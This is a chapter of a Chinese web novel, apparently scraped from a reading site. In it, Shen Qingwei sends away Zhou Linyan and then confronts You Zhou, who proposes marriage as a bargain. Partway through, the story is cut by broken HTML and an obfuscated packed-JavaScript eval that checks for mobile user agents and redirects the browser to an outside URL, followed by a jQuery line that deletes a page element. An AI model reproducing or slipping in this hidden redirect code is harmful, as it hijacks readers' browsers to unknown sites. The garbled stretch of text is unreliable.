沐筱泉 作品

101. 雕虫小技

“你不是早知答案,何必明知故问呢?沈晴微,我原以为,我这辈子就这样了。可是造化弄人,老天偏偏让我遇见了你。”


沈晴微不说话了。她不理解周临言,也不想去探究他是怎么想的。


救下他、收留他也不过因着那萍水相逢的缘分。


“寒舍庙小,容不下殿下这尊大佛,怠慢之处还望殿下谅解。”


“你赶我走?”


周临言的目光寸步不离沈晴微。目光灼灼,沈晴微一与他对视便犹如被火炙烤,不由自主地移开了视线。


“殿下是凤凰,又何必纡尊降贵跑到这深山老林做一只山雀呢?我心中无所牵挂,自然可随心所欲;但是周临言,你能忘记你背负的一切吗?筹谋多年,苦心孤诣,稍有不慎就是灰飞烟灭,死无葬身之地。殿下慎思。”


周临言扑哧一笑。


沈晴微余光中,他的神色就像是一个惧苦之人不得不吞下一盘苦瓜。


周临言咬牙切齿:“倒是难为你——为赶我走,连这样的大道理都搬出来了。”


沈晴微虚伪地挤出一个笑:“忠言逆耳。”


“沈晴微,我最后问你一个问题,问完我就走,绝不出现在你面前脏了你的眼睛。我是说如果,如果我只是棋砚,你会不会对我动心?”


“殿下,这世间哪有什么如果?又何必去预设根本不会发生的事?天色不早了,殿下现在动身,还能在日落之前回到京城。”


沈晴微不假思索地脱口而出,没有一丝丝的迟疑。


到底水火不容相争相斗几年,周临言果然发现破绽。


末了,挤出一个笑:“你避而不谈,是心里有鬼吗?”


在沈晴微要吃人的目光下,周临言垂眸:“开玩笑的。也多谢,你没有直接说出冷冰冰地‘不会’二字。以后山高水长,我不会出现在你面前污了你的慧眼——如此,你可放心?”


沈晴微难得没有逞一时口舌之快,郑重地来了一句:“那便祝殿下得偿所愿,平步青云。”


“我也祝沈姑娘平安喜乐。”


周临言慢条斯理地洗完了碗,随后一声不吭地踏上了泥泞的山路。


落日的余晖将周临言身后的影子拉得长长的,落在沾着尘土的石子路上,显得格外寂寥。


沈晴微目送他离开,待他的背影消失在视线之中的时候,她扭头就回了房中,随意地摊开了一本书。


这一别,或许就是永远。以后再也不会再见了吧。


沈晴微百无聊赖地翻着书,瞥到书页上的“促织”二字,指尖忽然刺痛,像是被针扎到似的。


她抬起手仔细一瞅,却是分毫未伤的。


只是再看书上的字时,觉得“促织”这两个字染着一层隐隐约约的伤感。


思绪却是飘回了几年前的一个夏日。


路边啼哭的稚子,不知所措的自己,还有从天而降的棋砚。


棋砚变戏法似的变出了几只蛐蛐,哄得那个孩子破涕为笑,笑得开怀。


棋砚调侃她:“堂堂影雪姑娘,怎么沦落到接哄小孩的任务?”


其实不是。


她的任务是保护那身份尊贵的小孩。


棋砚抱着那稚子斗蛐蛐、逛灯会、看戏法……


沈晴微怀疑他是运安楼派来刺杀这孩子的,一路上可谓是寸步不移,时时警惕,如坐针毡、汗流浃背。


毕竟运安楼的左膀右臂,哪会浪费时间哄一个啼哭的孩子?


可沈晴微观察半天、警惕半天,却什么意外都没有发生。


把那小孩平安交给接手的人以后,棋砚顺手送了她一笼子蛐蛐。


沈晴微以为他是讽刺她,又与他唇枪舌战吵了起来。


两人险些在街头大打出手。


“原来你不喜欢蛐蛐啊。”两个人暂时“停战”后,棋砚感慨似的说道,“那你那手帕上怎么绣着蛐蛐?”


手帕是阿姐送的,沈晴微随手揣怀里。


却是从未注意过上面的蛐蛐纹样。


如今翻到这两个字,沈晴微心里竟然涌过一阵怪异。就好像当年那个斗蛐蛐哄小孩的少年死了一样。


是不在了的吧。


*


花朝节,街市人如海,灯如昼。


茶铺里,茶香四溢,香雾缭绕。


“姐姐。”


沈晴微俯身去捡地上的竹简,听到这两个字时只觉得手上拾起的册子像是熊熊燃烧的火焰般灼手,指尖传来的麻木随即传遍全身。


“没想到能在此处遇到姐姐,真是上天眷顾。我还以为,这辈子都见不到你了。”


沈晴微深吸一口气,让自己的心绪平复下来,转而若无其事地将手中的册子递给由昼。


由昼伸出双手准备接过,可她却没有给他的意思,反而紧紧地攥紧了手中之物。


由昼摊开的双手便悬在那里。


他抬眉似质问。


沈晴微掠过他不解的眼神,既没有出声,也没有让出手中的东西。


终是由昼耐不住性子,将摊开的双手伸到沈晴微眼皮子底下,语气带着嗔意:“姐姐就别再捉弄我了。”


沈晴微扯出一个笑,将竹简重重地砸在他手上:“还不知道是谁捉弄谁。你说是吧,弟、弟?”


竹简落到由昼的掌心,哗的一声就像是火辣辣的巴掌声。周遭仿佛都安静了。


由昼也不怒,规规矩矩地接过竹简,慢条斯理地递给身边的手下。他脸上始终挂着近乎谄媚的笑,仿佛将做生意时的待客之道刻入了骨子。


“姐姐若没别的事,我便不叨扰了。”


由昼装模作样地对沈晴微行了一个告辞之礼,做事便要转身离开。


他转过身的那一刻,忽然察觉脖颈上一凉。垂眸一看,脖子上果然架着一柄寒光四射的剑。


“少主!”


他身边的手下瞪大了眼睛,将手中的剑指向了沈晴微。


“无妨。”由昼对着手下摆摆手,云淡风轻地道了一句,“浮禾,把剑放下。”


“姐姐……”由昼伸出手,指尖在剑身上蜻蜓点水似的点了点。泰然自若,气定神闲,仿佛这剑不是架在他脖子上的,反而是紧紧握在他手上的。


生死攸关,由昼好似料定了沈晴微不会伤害他,云淡风轻道:“姐姐这是做什么?”</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814780|165639||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>


沈晴微把玩着手上的剑,剑锋时而指向由昼的脖颈,时而又贴着他的肌肤一寸一寸地游走,擦过他的耳朵,拂过他的面庞,又在他的手臂上游荡。


换做旁人,早已是吓得魂飞魄散。


由昼小小年纪,却没有一丝害怕,站在原地一动不动,神色中也无半分慌张。


见威胁这招无用,沈晴微索性便将剑放回剑鞘之中,直入主题道:“该是我问你想做什么才是。”


沈晴微一语点破,可由昼铁了心揣着明白装糊涂:“姐姐在说什么?我愚笨,听不懂。”


“滚回来,坐下。”


沈晴微颇为客气地亲自为由昼倒了一杯茶。


由昼走到她对面坐下,接过沈晴微手上的这盏茶——茶依然冒着腾腾的热气,一会儿便散开而后消失。


他手上握着茶盏,却迟迟没有喝一口。


等到最后一丝热气都消失不见了,由昼还是没有抿一口。


沈晴微故意挑刺“怪罪”道:“姐姐给你泡的茶,怎么不喝?”


由昼空着的那只手摸了摸脖子,似心有余悸:“我若是喝了,再也醒不过来了,那岂不是辜负了姐姐的一番美意?”


“死不了的。”沈晴微端起自己的茶盏抿了一口茶。


由昼皮笑肉不笑道:“毒下在我这杯里,姐姐自然是没事。”


沈晴微开门见山:“欲擒故纵的把戏玩一次还有人信,可次次故技重施可就没意思了。”


由昼还是继续装蠢。


“你大费周章安排与我偶遇,又事了拂衣去似的匆匆离开。谁信啊?”沈晴微晃了晃手中的茶盏,温润的玉盏泛着晶莹的水光,显得格外通透。


通透的,才讨人喜欢。


“方才我想了很久,我身上究竟有什么值得你惦记的。思来想去,也只有与你的主上那层微不足道的关系,值得你几次三番接近我。若是从前,我会觉得你这个人挺有意思,也乐意与你过过招、周旋周旋。只是现在,我一个将死之人,脾气不大好,心性也不大好。如果你不老实交代,万一我忽然暴躁,一不小心出手伤了你。那你可就得不偿失了,是吧?”


当着由昼的面,沈晴微又从盏托上取了一个干净的茶盏,慢悠悠地倒上火候刚好的温茶,客客气气递到他手旁。


可嘴上说的话却毫不客气:“别不识好歹。你蓄意引我前来,又故意作势要走逼我留你,要做什么不妨直言。”


“姐姐真聪明,不愧是姐姐。”


由昼笑盈盈接过茶盏,将茶盏递到嘴边吹了几下,便一饮而尽。


“我的确有求于姐姐,只是实在害怕姐姐不答应呢。”


“你说。”


“我想要……姐姐嫁给我。”


话音刚落,一阵刺耳的碎玉声划破了寂静。


沈晴微手中的茶盏落在了地上。


由昼挑了挑眉:“姐姐武功高强,怎么连茶盏都拿不稳?”


沈晴微实在咽不下这口气,脱口而出道:“你有病吧。”


由昼无辜地眨眨眼:“我就知道姐姐不会同意。别着急,听我说。姐姐,这是一笔对你我都有利的交易。”